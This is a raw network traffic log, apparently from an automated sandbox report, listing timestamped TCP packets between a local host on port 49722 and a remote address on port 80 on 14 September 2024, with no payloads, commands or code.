Sep 14, 2024 18:44:09.978580952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978602886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.978620052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978671074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.978713989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978763103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978800058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978816032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.978848934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978879929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978912115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978920937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.978948116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978961945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.979000092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.979032040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.979049921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.979063034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.979099035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.979118109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.979130983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.979163885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.979182005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.979197979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.979245901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.017992020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018027067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018064976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018096924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018101931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018131018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018162012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018186092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018196106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018213034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018507957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018558025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018589973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018620968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018621922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018637896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018655062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018683910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018699884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018718004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018752098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018764973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018780947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018812895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018824100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018845081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018877029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018889904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018907070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018939018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.018949986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.018971920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.019005060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.019016981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.019041061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.019073963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.019085884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.060307026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060338974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060391903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060431004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060482025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060514927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060550928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060568094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.060600996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060609102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.060609102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.060636997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060687065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.060691118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060741901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060775042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060811043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060813904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.060844898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060868025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.060892105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060925961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060945034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.060956955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.060995102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061009884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061033010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061065912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061084032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061099052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061135054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061146021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061168909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061202049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061219931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061234951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061265945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061285019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061301947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061352968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061356068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061386108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061420918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061434984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061454058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061486959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061505079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061518908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061556101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061570883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061604977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061638117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061657906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061674118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061711073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061723948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061743021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061774015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061794996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061805964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061839104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061856031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061875105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061907053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061918974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.061945915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061979055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.061997890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062010050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062046051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062061071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062078953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062110901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062129021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062144041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062180042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062213898 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062213898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062247992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062268019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062279940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062314987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062325001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062364101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062398911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062416077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062427998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062460899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062473059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062494993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062526941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062551022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062558889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062591076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062611103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062623024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062657118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062666893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062691927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062726021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062737942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062757969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062791109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062819004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062840939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062874079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062890053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062906981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062939882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.062952042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.062973022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063007116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063019991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063041925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063076973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063091040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063107014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063153028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063200951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063235044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063272953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063288927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063309908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063343048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063364029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063374996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063424110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063433886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063466072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063498020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063514948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063529968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063563108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063581944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063595057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063627958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063649893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.063663960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.063714027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.105947971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.105986118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106035948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106065989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.106069088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106101036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106133938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106168032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.106168985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106200933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106204987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.106254101 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.106483936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106532097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106545925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106580019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.106621981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106636047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106652021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106666088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106667995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.106694937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.106720924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.106765985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.107048988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.107073069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.107085943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.107125044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.107145071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.107161045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.107177019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.107196093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.107204914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.107233047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.107234955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.107364893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149015903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149086952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149125099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149178028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149194956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149235010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149250984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149286985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149322033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149344921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149355888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149391890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149440050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149451971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149477959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149492025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149522066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149569988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149574041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149614096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149652004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149666071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149701118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149736881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149756908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149786949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149823904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149833918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149859905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149893045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149933100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149936914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149966002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.149986982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.149998903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150032043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150051117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150065899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150119066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150124073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150151014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150183916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150204897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150217056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150249958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150279999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150281906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150315046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150331974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150352955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150389910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150403023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150424004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150454998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150469065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150486946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150525093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150537968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150558949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150610924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150610924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150646925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150681019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150693893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150715113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150748968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150765896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150784969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150834084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150834084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150867939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150901079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150919914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.150933981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150964975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.150979042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151000023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151031971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151051044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151065111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151099920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151112080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151137114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151170969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151194096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151202917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151236057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151259899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151273966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151309013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151320934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151343107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151376009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151428938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.151434898 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.151460886 CEST	80	49722	188.114.97.3	192.168.2.6
